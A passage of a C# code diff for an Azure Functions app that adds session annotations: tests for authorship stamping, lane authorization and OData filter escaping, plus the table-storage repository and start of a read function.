||||
public Mock<ISessionAnnotationRepository> AnnotationRepo = default!;
|
||||
public List<SessionAnnotation> Stored = default!;
|
||||
}
|
||||
|
||||
private static Harness BuildFunction(
|
||||
SessionAnnotation? existing = null, List<RuleResult>? ruleResults = null)
|
||||
{
|
||||
var annotationRepo = new Mock<ISessionAnnotationRepository>(MockBehavior.Loose);
|
||||
var stored = new List<SessionAnnotation>();
|
||||
annotationRepo.Setup(r => r.GetAsync(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<string>()))
|
||||
.ReturnsAsync(existing);
|
||||
annotationRepo.Setup(r => r.UpsertAsync(It.IsAny<SessionAnnotation>()))
|
||||
.Callback<SessionAnnotation>(stored.Add)
|
||||
.Returns(Task.CompletedTask);
|
||||
|
||||
var sessionRepo = new Mock<ISessionRepository>(MockBehavior.Loose);
|
||||
sessionRepo.Setup(r => r.GetSessionAsync(It.IsAny<string>(), It.IsAny<string>()))
|
||||
.ReturnsAsync(new SessionSummary { SessionId = SessionId, TenantId = TenantId });
|
||||
sessionRepo.Setup(r => r.FindSessionTenantIdAsync(SessionId)).ReturnsAsync(TenantId);
|
||||
|
||||
var ruleRepo = new Mock<IRuleRepository>(MockBehavior.Loose);
|
||||
ruleRepo.Setup(r => r.GetRuleResultsAsync(It.IsAny<string>(), It.IsAny<string>()))
|
||||
.ReturnsAsync(ruleResults ?? new List<RuleResult>());
|
||||
|
||||
var maintenanceRepo = new Mock<IMaintenanceRepository>(MockBehavior.Loose);
|
||||
|
||||
return new Harness
|
||||
{
|
||||
Function = new UpsertSessionAnnotationFunction(
|
||||
NullLogger<UpsertSessionAnnotationFunction>.Instance,
|
||||
annotationRepo.Object, sessionRepo.Object, ruleRepo.Object, maintenanceRepo.Object),
|
||||
AnnotationRepo = annotationRepo,
|
||||
Stored = stored,
|
||||
};
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Upsert_stamps_author_from_jwt_not_from_body()
|
||||
{
|
||||
var h = BuildFunction();
|
||||
// Body tries to smuggle author fields — the function must never read them.
|
||||
var req = BuildRequest(
|
||||
Principal(("tid", TenantId), ("name", "Alice Admin"), ("upn", "alice@contoso.com")),
|
||||
TenantAdminContext(),
|
||||
new
|
||||
{
|
||||
verdict = AnnotationVerdicts.RootCauseConfirmed,
|
||||
note = "checked on device",
|
||||
authorUpn = "spoofed@evil.example",
|
||||
authorDisplayName = "Spoofed Author",
|
||||
createdByUpn = "spoofed@evil.example",
|
||||
});
|
||||
|
||||
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
|
||||
|
||||
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
|
||||
var written = Assert.Single(h.Stored);
|
||||
Assert.Equal("Alice Admin", written.AuthorDisplayName);
|
||||
Assert.Equal("alice@contoso.com", written.AuthorUpn);
|
||||
Assert.Equal("alice@contoso.com", written.CreatedByUpn);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Upsert_true_update_preserves_original_creator_and_createdAt()
|
||||
{
|
||||
var createdAt = new DateTime(2026, 7, 1, 8, 0, 0, DateTimeKind.Utc);
|
||||
var h = BuildFunction(existing: new SessionAnnotation
|
||||
{
|
||||
TenantId = TenantId,
|
||||
SessionId = SessionId,
|
||||
Lane = AnnotationLanes.TenantAdmin,
|
||||
CreatedByUpn = "bob@contoso.com",
|
||||
CreatedAtUtc = createdAt,
|
||||
});
|
||||
var req = BuildRequest(
|
||||
Principal(("tid", TenantId), ("name", "Alice Admin"), ("upn", "alice@contoso.com")),
|
||||
TenantAdminContext(),
|
||||
new { verdict = AnnotationVerdicts.AnalysisWrong });
|
||||
|
||||
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
|
||||
|
||||
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
|
||||
var written = Assert.Single(h.Stored);
|
||||
Assert.Equal("bob@contoso.com", written.CreatedByUpn); // first writer survives
|
||||
Assert.Equal(createdAt, written.CreatedAtUtc);
|
||||
Assert.Equal("alice@contoso.com", written.AuthorUpn); // last editor stamped
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Upsert_snapshots_fired_rule_ids()
|
||||
{
|
||||
var h = BuildFunction(ruleResults: new List<RuleResult>
|
||||
{
|
||||
new RuleResult { SessionId = SessionId, RuleId = "ANALYZE-ESP-001" },
|
||||
new RuleResult { SessionId = SessionId, RuleId = "ANALYZE-ESP-001" }, // duplicate collapses
|
||||
new RuleResult { SessionId = SessionId, RuleId = "ANALYZE-CORR-003" },
|
||||
});
|
||||
var req = BuildRequest(
|
||||
Principal(("tid", TenantId), ("name", "Alice Admin"), ("upn", "alice@contoso.com")),
|
||||
TenantAdminContext(),
|
||||
new { verdict = AnnotationVerdicts.RootCauseConfirmed });
|
||||
|
||||
await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
|
||||
|
||||
var written = Assert.Single(h.Stored);
|
||||
Assert.Equal(new[] { "ANALYZE-ESP-001", "ANALYZE-CORR-003" }, written.RuleIds);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Upsert_empty_body_clears_the_lane()
|
||||
{
|
||||
var h = BuildFunction();
|
||||
var req = BuildRequest(
|
||||
Principal(("tid", TenantId), ("name", "Alice Admin"), ("upn", "alice@contoso.com")),
|
||||
TenantAdminContext(),
|
||||
new { verdict = (string?)null, note = "" });
|
||||
|
||||
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
|
||||
|
||||
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
|
||||
Assert.Empty(h.Stored);
|
||||
h.AnnotationRepo.Verify(
|
||||
r => r.DeleteAsync(TenantId, SessionId, AnnotationLanes.TenantAdmin), Times.Once);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Upsert_unknown_verdict_is_rejected()
|
||||
{
|
||||
var h = BuildFunction();
|
||||
var req = BuildRequest(
|
||||
Principal(("tid", TenantId), ("upn", "alice@contoso.com")),
|
||||
TenantAdminContext(),
|
||||
new { verdict = "totally_made_up" });
|
||||
|
||||
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
|
||||
|
||||
Assert.Equal(HttpStatusCode.BadRequest, response.StatusCode);
|
||||
Assert.Empty(h.Stored);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Upsert_note_over_cap_is_rejected()
|
||||
{
|
||||
var h = BuildFunction();
|
||||
var req = BuildRequest(
|
||||
Principal(("tid", TenantId), ("upn", "alice@contoso.com")),
|
||||
TenantAdminContext(),
|
||||
new { note = new string('x', SessionAnnotation.MaxNoteLength + 1) });
|
||||
|
||||
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
|
||||
|
||||
Assert.Equal(HttpStatusCode.BadRequest, response.StatusCode);
|
||||
Assert.Empty(h.Stored);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Upsert_forbids_lane_outside_caller_matrix()
|
||||
{
|
||||
var h = BuildFunction();
|
||||
var operatorContext = new RequestContext
|
||||
{
|
||||
TenantId = TenantId,
|
||||
TargetTenantId = TenantId,
|
||||
UserPrincipalName = "op@contoso.com",
|
||||
IsTenantAdmin = false,
|
||||
UserRole = Constants.TenantRoles.Operator,
|
||||
};
|
||||
var req = BuildRequest(
|
||||
Principal(("tid", TenantId), ("upn", "op@contoso.com")),
|
||||
operatorContext,
|
||||
new { verdict = AnnotationVerdicts.RootCauseConfirmed });
|
||||
|
||||
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
|
||||
|
||||
Assert.Equal(HttpStatusCode.Forbidden, response.StatusCode);
|
||||
Assert.Empty(h.Stored);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Upsert_ga_with_own_tenant_admin_role_cannot_write_foreign_tenant_lanes()
|
||||
{
|
||||
// The session belongs to TenantId (foreign); the GA is Admin of their OWN tenant.
|
||||
// Tenant-role lanes bind to the caller's own tenant, so this must 403 — otherwise a
|
||||
// GA's home-tenant admin role would leak into every other tenant's lanes.
|
||||
var h = BuildFunction();
|
||||
var gaContext = new RequestContext
|
||||
{
|
||||
TenantId = "99999999-9999-9999-9999-999999999999",
|
||||
TargetTenantId = "99999999-9999-9999-9999-999999999999",
|
||||
UserPrincipalName = "ga@fabrikam.com",
|
||||
IsGlobalAdmin = true,
|
||||
IsTenantAdmin = true, // admin of the HOME tenant, not of TenantId
|
||||
UserRole = Constants.TenantRoles.Admin,
|
||||
};
|
||||
var req = BuildRequest(
|
||||
Principal(("tid", gaContext.TenantId), ("upn", "ga@fabrikam.com")),
|
||||
gaContext,
|
||||
new { verdict = AnnotationVerdicts.RootCauseConfirmed });
|
||||
|
||||
var response = await h.Function.Run(req, SessionId, AnnotationLanes.TenantAdmin);
|
||||
|
||||
Assert.Equal(HttpStatusCode.Forbidden, response.StatusCode);
|
||||
Assert.Empty(h.Stored);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Upsert_ga_writes_globaladmin_lane_on_foreign_tenant_session()
|
||||
{
|
||||
var h = BuildFunction();
|
||||
var gaContext = new RequestContext
|
||||
{
|
||||
TenantId = "99999999-9999-9999-9999-999999999999", // GA's home tenant
|
||||
TargetTenantId = "99999999-9999-9999-9999-999999999999",
|
||||
UserPrincipalName = "ga@fabrikam.com",
|
||||
IsGlobalAdmin = true,
|
||||
UserRole = "GlobalAdmin",
|
||||
};
|
||||
var req = BuildRequest(
|
||||
Principal(("tid", gaContext.TenantId), ("name", "Gerd Admin"), ("upn", "ga@fabrikam.com")),
|
||||
gaContext,
|
||||
new { verdict = AnnotationVerdicts.DifferentProblem, note = "actually a network issue" });
|
||||
|
||||
var response = await h.Function.Run(req, SessionId, AnnotationLanes.GlobalAdmin);
|
||||
|
||||
Assert.Equal(HttpStatusCode.OK, response.StatusCode);
|
||||
var written = Assert.Single(h.Stored);
|
||||
// Tenant resolved from the session index, NOT the GA's own tenant.
|
||||
Assert.Equal(TenantId, written.TenantId);
|
||||
Assert.Equal(AnnotationLanes.GlobalAdmin, written.Lane);
|
||||
}
|
||||
}
|
||||
+165
@@ -0,0 +1,165 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using AutopilotMonitor.Functions.DataAccess.TableStorage;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Azure.Data.Tables;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Functions.Tests;
|
||||
|
||||
/// <summary>
|
||||
/// Round-trip pins for the SessionAnnotations Store/Map pair (memory:
|
||||
/// feedback_table_storage_serialization — every new field in <see cref="SessionAnnotation"/>
|
||||
/// MUST be exercised in Store+Map so silent drops surface here), plus the RowKey and
|
||||
/// OData-filter builders.
|
||||
/// </summary>
|
||||
public class TableSessionAnnotationRepositoryTests
|
||||
{
|
||||
private const string TenantId = "11111111-1111-1111-1111-111111111111";
|
||||
private const string SessionId = "22222222-2222-2222-2222-222222222222";
|
||||
|
||||
private static SessionAnnotation FullAnnotation() => new()
|
||||
{
|
||||
TenantId = TenantId,
|
||||
SessionId = SessionId,
|
||||
Lane = AnnotationLanes.TenantAdmin,
|
||||
Verdict = AnnotationVerdicts.RootCauseConfirmed,
|
||||
Note = "Root cause matches what we saw on the device.",
|
||||
AuthorUpn = "alice@contoso.com",
|
||||
AuthorDisplayName = "Alice Admin",
|
||||
CreatedByUpn = "bob@contoso.com",
|
||||
CreatedAtUtc = new DateTime(2026, 8, 1, 10, 30, 0, DateTimeKind.Utc),
|
||||
UpdatedAtUtc = new DateTime(2026, 8, 11, 9, 15, 0, DateTimeKind.Utc),
|
||||
RuleIds = new List<string> { "ANALYZE-ESP-001", "ANALYZE-CORR-003" },
|
||||
};
|
||||
|
||||
[Fact]
|
||||
public void Roundtrip_all_fields_survive_store_and_map()
|
||||
{
|
||||
var original = FullAnnotation();
|
||||
|
||||
var mapped = TableSessionAnnotationRepository.MapAnnotation(
|
||||
TableSessionAnnotationRepository.StoreAnnotation(original));
|
||||
|
||||
Assert.Equal(original.TenantId, mapped.TenantId);
|
||||
Assert.Equal(original.SessionId, mapped.SessionId);
|
||||
Assert.Equal(original.Lane, mapped.Lane);
|
||||
Assert.Equal(original.Verdict, mapped.Verdict);
|
||||
Assert.Equal(original.Note, mapped.Note);
|
||||
Assert.Equal(original.AuthorUpn, mapped.AuthorUpn);
|
||||
Assert.Equal(original.AuthorDisplayName, mapped.AuthorDisplayName);
|
||||
Assert.Equal(original.CreatedByUpn, mapped.CreatedByUpn);
|
||||
Assert.Equal(original.CreatedAtUtc, mapped.CreatedAtUtc);
|
||||
Assert.Equal(original.UpdatedAtUtc, mapped.UpdatedAtUtc);
|
||||
Assert.Equal(original.RuleIds, mapped.RuleIds);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Roundtrip_null_verdict_and_note_stay_null()
|
||||
{
|
||||
var original = FullAnnotation();
|
||||
original.Verdict = null;
|
||||
original.Note = null;
|
||||
original.RuleIds = new List<string>();
|
||||
|
||||
var mapped = TableSessionAnnotationRepository.MapAnnotation(
|
||||
TableSessionAnnotationRepository.StoreAnnotation(original));
|
||||
|
||||
Assert.Null(mapped.Verdict);
|
||||
Assert.Null(mapped.Note);
|
||||
Assert.Empty(mapped.RuleIds);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Store_uses_tenant_pk_and_sessionId_lane_rk()
|
||||
{
|
||||
var entity = TableSessionAnnotationRepository.StoreAnnotation(FullAnnotation());
|
||||
|
||||
Assert.Equal(TenantId, entity.PartitionKey);
|
||||
Assert.Equal($"{SessionId}_{AnnotationLanes.TenantAdmin}", entity.RowKey);
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("not json at all")]
|
||||
[InlineData("{\"truncated\":")]
|
||||
[InlineData("")]
|
||||
[InlineData(null)]
|
||||
public void Map_corrupt_or_missing_ruleIds_degrades_to_empty_list(string? corruptJson)
|
||||
{
|
||||
var entity = TableSessionAnnotationRepository.StoreAnnotation(FullAnnotation());
|
||||
entity["RuleIdsJson"] = corruptJson;
|
||||
|
||||
var mapped = TableSessionAnnotationRepository.MapAnnotation(entity);
|
||||
|
||||
Assert.Empty(mapped.RuleIds);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Map_tolerates_minimal_legacy_entity()
|
||||
{
|
||||
// A row carrying only PK/RK (e.g. hand-repaired) must map without throwing.
|
||||
var entity = new TableEntity(TenantId, $"{SessionId}_{AnnotationLanes.Operator}");
|
||||
|
||||
var mapped = TableSessionAnnotationRepository.MapAnnotation(entity);
|
||||
|
||||
Assert.Equal(TenantId, mapped.TenantId);
|
||||
Assert.Equal(string.Empty, mapped.SessionId);
|
||||
Assert.Null(mapped.Verdict);
|
||||
Assert.Null(mapped.Note);
|
||||
Assert.Empty(mapped.RuleIds);
|
||||
}
|
||||
|
||||
// ── query filter builder ────────────────────────────────────────────────
|
||||
|
||||
[Fact]
|
||||
public void BuildQueryFilter_no_filters_returns_null()
|
||||
{
|
||||
Assert.Null(TableSessionAnnotationRepository.BuildQueryFilter(null, null, null, null, null));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildQueryFilter_combines_all_clauses_with_and()
|
||||
{
|
||||
var filter = TableSessionAnnotationRepository.BuildQueryFilter(
|
||||
TenantId, AnnotationLanes.GlobalAdmin, AnnotationVerdicts.AnalysisWrong,
|
||||
new DateTime(2026, 8, 1, 0, 0, 0, DateTimeKind.Utc),
|
||||
new DateTime(2026, 8, 11, 0, 0, 0, DateTimeKind.Utc));
|
||||
|
||||
Assert.Equal(
|
||||
$"PartitionKey eq '{TenantId}'" +
|
||||
" and Lane eq 'globaladmin'" +
|
||||
" and Verdict eq 'analysis_wrong'" +
|
||||
" and UpdatedAtUtc ge datetime'2026-08-01T00:00:00Z'" +
|
||||
" and UpdatedAtUtc lt datetime'2026-08-11T00:00:00Z'",
|
||||
filter);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildQueryFilter_escapes_single_quotes()
|
||||
{
|
||||
var filter = TableSessionAnnotationRepository.BuildQueryFilter("ten'ant", null, null, null, null);
|
||||
|
||||
Assert.Equal("PartitionKey eq 'ten''ant'", filter);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildQueryFilter_excludes_globaladmin_lane_for_tenant_scope()
|
||||
{
|
||||
var filter = TableSessionAnnotationRepository.BuildQueryFilter(
|
||||
TenantId, null, null, null, null, excludeGlobalAdminLane: true);
|
||||
|
||||
Assert.Equal($"PartitionKey eq '{TenantId}' and Lane ne 'globaladmin'", filter);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void BuildQueryFilter_explicit_globaladmin_lane_with_exclusion_contradicts_to_empty()
|
||||
{
|
||||
// A tenant caller explicitly asking for lane=globaladmin gets a self-contradicting
|
||||
// filter (eq + ne on the same value) — structurally an empty result, never a leak.
|
||||
var filter = TableSessionAnnotationRepository.BuildQueryFilter(
|
||||
TenantId, AnnotationLanes.GlobalAdmin, null, null, null, excludeGlobalAdminLane: true);
|
||||
|
||||
Assert.Contains("Lane eq 'globaladmin'", filter);
|
||||
Assert.Contains("Lane ne 'globaladmin'", filter);
|
||||
}
|
||||
}
|
||||
@@ -31,6 +31,7 @@ namespace AutopilotMonitor.Functions.DataAccess
|
||||
services.AddSingleton<IAdminRepository, TableAdminRepository>();
|
||||
services.AddSingleton<IConfigRepository, TableConfigRepository>();
|
||||
services.AddSingleton<IFeedbackRepository, TableFeedbackRepository>();
|
||||
services.AddSingleton<ISessionAnnotationRepository, TableSessionAnnotationRepository>();
|
||||
services.AddSingleton<IBootstrapRepository, TableBootstrapRepository>();
|
||||
services.AddSingleton<INotificationRepository, TableNotificationRepository>();
|
||||
services.AddSingleton<ITenantNotificationRepository, TableTenantNotificationRepository>();
|
||||
|
||||
+243
@@ -0,0 +1,243 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.Json;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Functions.Pagination;
|
||||
using AutopilotMonitor.Functions.Services;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.DataAccess;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Azure;
|
||||
using Azure.Data.Tables;
|
||||
using Microsoft.Extensions.Logging;
|
||||
|
||||
namespace AutopilotMonitor.Functions.DataAccess.TableStorage
|
||||
{
|
||||
/// <summary>
|
||||
/// Table-storage implementation of <see cref="ISessionAnnotationRepository"/>.
|
||||
/// Backed by the dedicated <c>SessionAnnotations</c> table:
|
||||
/// PK = tenantId, RK = <c>{sessionId}_{lane}</c>.
|
||||
/// </summary>
|
||||
public class TableSessionAnnotationRepository : ISessionAnnotationRepository
|
||||
{
|
||||
// Client-side ruleId filtering can shrink an Azure page below pageSize; the
|
||||
// back-fill loop keeps fetching until enough matches accumulate, capped here so
|
||||
// a pathological filter can never turn one request into an unbounded scan.
|
||||
internal const int MaxBackfillRoundTrips = 10;
|
||||
|
||||
private readonly TableClient _tableClient;
|
||||
private readonly ILogger<TableSessionAnnotationRepository> _logger;
|
||||
|
||||
public TableSessionAnnotationRepository(
|
||||
TableStorageService storage, ILogger<TableSessionAnnotationRepository> logger)
|
||||
{
|
||||
_tableClient = storage.GetTableClient(Constants.TableNames.SessionAnnotations);
|
||||
_logger = logger;
|
||||
}
|
||||
|
||||
public async Task<SessionAnnotation?> GetAsync(string tenantId, string sessionId, string lane)
|
||||
{
|
||||
try
|
||||
{
|
||||
var entity = await _tableClient.GetEntityAsync<TableEntity>(
|
||||
tenantId, BuildRowKey(sessionId, lane));
|
||||
return MapAnnotation(entity.Value);
|
||||
}
|
||||
catch (RequestFailedException ex) when (ex.Status == 404)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex,
|
||||
"Error loading annotation {SessionId}/{Lane} for tenant {TenantId}",
|
||||
sessionId, lane, tenantId);
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
public async Task<List<SessionAnnotation>> GetForSessionAsync(string tenantId, string sessionId)
|
||||
{
|
||||
try
|
||||
{
|
||||
// '~' (0x7E) sorts after '_' (0x5F) and every lane letter: upper-bounds all
|
||||
// "{sessionId}_{lane}" keys without matching a longer sessionId prefix.
|
||||
var filter =
|
||||
$"PartitionKey eq '{Escape(tenantId)}'" +
|
||||
$" and RowKey ge '{Escape(sessionId)}_'" +
|
||||
$" and RowKey lt '{Escape(sessionId)}_~'";
|
||||
var results = new List<SessionAnnotation>();
|
||||
await foreach (var entity in _tableClient.QueryAsync<TableEntity>(filter: filter))
|
||||
{
|
||||
results.Add(MapAnnotation(entity));
|
||||
}
|
||||
return results;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex,
|
||||
"Error loading annotations for session {SessionId}, tenant {TenantId}",
|
||||
sessionId, tenantId);
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
public async Task UpsertAsync(SessionAnnotation annotation)
|
||||
{
|
||||
try
|
||||
{
|
||||
await _tableClient.UpsertEntityAsync(StoreAnnotation(annotation), TableUpdateMode.Replace);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex,
|
||||
"Error saving annotation {SessionId}/{Lane} for tenant {TenantId}",
|
||||
annotation.SessionId, annotation.Lane, annotation.TenantId);
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
public async Task DeleteAsync(string tenantId, string sessionId, string lane)
|
||||
{
|
||||
try
|
||||
{
|
||||
await _tableClient.DeleteEntityAsync(tenantId, BuildRowKey(sessionId, lane));
|
||||
}
|
||||
catch (RequestFailedException ex) when (ex.Status == 404)
|
||||
{
|
||||
// Missing row is a no-op — clearing an annotation twice must not fail.
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex,
|
||||
"Error deleting annotation {SessionId}/{Lane} for tenant {TenantId}",
|
||||
sessionId, lane, tenantId);
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
public async Task<(List<SessionAnnotation> Items, string? NextRawToken)> QueryPageAsync(
|
||||
string? tenantId,
|
||||
string? lane,
|
||||
string? verdict,
|
||||
string? ruleId,
|
||||
DateTime? dateFrom,
|
||||
DateTime? dateTo,
|
||||
int pageSize,
|
||||
string? continuation,
|
||||
bool excludeGlobalAdminLane = false)
|
||||
{
|
||||
var filter = BuildQueryFilter(tenantId, lane, verdict, dateFrom, dateTo, excludeGlobalAdminLane);
|
||||
var items = new List<SessionAnnotation>();
|
||||
var token = continuation;
|
||||
|
||||
// ruleId cannot be pushed into OData (substring match on a JSON column), so it
|
||||
// filters client-side. Back-fill whole Azure pages until pageSize matches
|
||||
// accumulate or the scan is exhausted, so filtered-out rows never consume page
|
||||
// budget (lesson: filter-after-pagination empties the list).
|
||||
for (var round = 0; round < MaxBackfillRoundTrips; round++)
|
||||
{
|
||||
var (page, nextToken) = await AzureTablesPaginator.FetchPageAsync<TableEntity>(
|
||||
_tableClient, filter, pageSize, token);
|
||||
|
||||
foreach (var entity in page)
|
||||
{
|
||||
var annotation = MapAnnotation(entity);
|
||||
if (ruleId != null &&
|
||||
!annotation.RuleIds.Contains(ruleId, StringComparer.OrdinalIgnoreCase))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
items.Add(annotation);
|
||||
}
|
||||
|
||||
token = nextToken;
|
||||
if (token == null || items.Count >= pageSize)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return (items, token);
|
||||
}
|
||||
|
||||
internal static string BuildRowKey(string sessionId, string lane) => $"{sessionId}_{lane}";
|
||||
|
||||
internal static string? BuildQueryFilter(
|
||||
string? tenantId, string? lane, string? verdict, DateTime? dateFrom, DateTime? dateTo,
|
||||
bool excludeGlobalAdminLane = false)
|
||||
{
|
||||
var sb = new StringBuilder();
|
||||
void Append(string clause)
|
||||
{
|
||||
if (sb.Length > 0) sb.Append(" and ");
|
||||
sb.Append(clause);
|
||||
}
|
||||
|
||||
if (!string.IsNullOrEmpty(tenantId)) Append($"PartitionKey eq '{Escape(tenantId!)}'");
|
||||
if (!string.IsNullOrEmpty(lane)) Append($"Lane eq '{Escape(lane!)}'");
|
||||
// Server-side, so hidden rows never consume page budget; combined with an explicit
|
||||
// lane=globaladmin filter this contradicts to an empty result — fail-safe by shape.
|
||||
if (excludeGlobalAdminLane) Append($"Lane ne '{AnnotationLanes.GlobalAdmin}'");
|
||||
if (!string.IsNullOrEmpty(verdict)) Append($"Verdict eq '{Escape(verdict!)}'");
|
||||
if (dateFrom.HasValue) Append($"UpdatedAtUtc ge datetime'{dateFrom.Value.ToUniversalTime():yyyy-MM-ddTHH:mm:ssZ}'");
|
||||
if (dateTo.HasValue) Append($"UpdatedAtUtc lt datetime'{dateTo.Value.ToUniversalTime():yyyy-MM-ddTHH:mm:ssZ}'");
|
||||
|
||||
return sb.Length == 0 ? null : sb.ToString();
|
||||
}
|
||||
|
||||
private static string Escape(string value) => value.Replace("'", "''");
|
||||
|
||||
// ── Store / Map (memory: feedback_table_storage_serialization) ─────────
|
||||
// internal static: pinned by round-trip unit tests — every property must
|
||||
// survive Store→Map, so any new field lands in BOTH methods plus the test.
|
||||
|
||||
internal static TableEntity StoreAnnotation(SessionAnnotation a) =>
|
||||
new(a.TenantId, BuildRowKey(a.SessionId, a.Lane))
|
||||
{
|
||||
["SessionId"] = a.SessionId,
|
||||
["Lane"] = a.Lane,
|
||||
["Verdict"] = a.Verdict,
|
||||
["Note"] = a.Note,
|
||||
["AuthorUpn"] = a.AuthorUpn,
|
||||
["AuthorDisplayName"] = a.AuthorDisplayName,
|
||||
["CreatedByUpn"] = a.CreatedByUpn,
|
||||
["CreatedAtUtc"] = EnsureUtc(a.CreatedAtUtc),
|
||||
["UpdatedAtUtc"] = EnsureUtc(a.UpdatedAtUtc),
|
||||
["RuleIdsJson"] = JsonSerializer.Serialize(a.RuleIds),
|
||||
};
|
||||
|
||||
internal static SessionAnnotation MapAnnotation(TableEntity e) => new()
|
||||
{
|
||||
TenantId = e.PartitionKey,
|
||||
SessionId = e.GetString("SessionId") ?? string.Empty,
|
||||
Lane = e.GetString("Lane") ?? string.Empty,
|
||||
Verdict = e.GetString("Verdict"),
|
||||
Note = e.GetString("Note"),
|
||||
AuthorUpn = e.GetString("AuthorUpn") ?? string.Empty,
|
||||
AuthorDisplayName = e.GetString("AuthorDisplayName") ?? string.Empty,
|
||||
CreatedByUpn = e.GetString("CreatedByUpn") ?? string.Empty,
|
||||
CreatedAtUtc = e.GetDateTime("CreatedAtUtc") ?? DateTime.MinValue,
|
||||
UpdatedAtUtc = e.GetDateTime("UpdatedAtUtc") ?? DateTime.MinValue,
|
||||
RuleIds = DeserializeRuleIds(e.GetString("RuleIdsJson")),
|
||||
};
|
||||
|
||||
private static List<string> DeserializeRuleIds(string? json)
|
||||
{
|
||||
if (string.IsNullOrEmpty(json)) return new List<string>();
|
||||
try
|
||||
{
|
||||
return JsonSerializer.Deserialize<List<string>>(json!) ?? new List<string>();
|
||||
}
|
||||
catch (JsonException)
|
||||
{
|
||||
return new List<string>(); // corrupt/truncated column — degrade to empty, never throw on read
|
||||
}
|
||||
}
|
||||
|
||||
private static DateTime EnsureUtc(DateTime value) =>
|
||||
value.Kind == DateTimeKind.Utc ? value : DateTime.SpecifyKind(value, DateTimeKind.Utc);
|
||||
}
|
||||
}
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using AutopilotMonitor.Functions.Helpers;
|
||||
using AutopilotMonitor.Shared.DataAccess;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Azure.Functions.Worker;
|
||||
using Microsoft.Azure.Functions.Worker.Http;
|
||||
using Microsoft.Extensions.Logging;
|
||||
|
||||
namespace AutopilotMonitor.Functions.Functions.Annotations
|
||||
{
|
||||
/// <summary>
|
||||
/// Returns the annotations (all lanes visible to the caller) for one session.
|
||||
/// The <c>globaladmin</c> lane is platform-internal and filtered out for callers
|
||||
/// without global scope.
|
||||
/// </summary>
|
||||
public class GetSessionAnnotationsFunction
|
||||
{
|
||||
private readonly ILogger<GetSessionAnnotationsFunction> _logger;
|
||||
private readonly ISessionAnnotationRepository _annotationRepo;
|
||||
private readonly ISessionRepository _sessionRepo;
|
||||
|
||||
public GetSessionAnnotationsFunction(
|
||||
ILogger<GetSessionAnnotationsFunction> logger,
|
||||
ISessionAnnotationRepository annotationRepo,
|
||||
ISessionRepository sessionRepo)
|
||||
{
|
||||
_logger = logger;
|
||||
_annotationRepo = annotationRepo;
|
||||
_sessionRepo = sessionRepo;
|
||||
}
|
||||
|
||||
[Function("GetSessionAnnotations")]
|
||||
public async Task<HttpResponseData> Run(
|
||||
[HttpTrigger(AuthorizationLevel.Anonymous, "get", Route = "sessions/{sessionId}/annotations")] HttpRequestData req,
|
||||
string sessionId)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Authentication + MemberRead authorization enforced by PolicyEnforcementMiddleware
|
||||
var requestCtx = req.GetRequestContext();
|
||||
var effectiveTenantId = requestCtx.TargetTenantId;
|
||||
|
||||
// Global-scope (GA or read-only GlobalReader) cross-tenant fallback: resolve
|
||||
// the actual tenant upfront so the read works cross-tenant.
|
||||
if (requestCtx.HasGlobalScope)
|
||||
{
|
||||
var resolvedTenantId = await _sessionRepo.FindSessionTenantIdAsync(sessionId);
|
||||
if (resolvedTenantId != null
|
||||
&& !string.Equals(resolvedTenantId, effectiveTenantId, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
effectiveTenantId = resolvedTenantId;
|
||||
}
|
||||
}
|
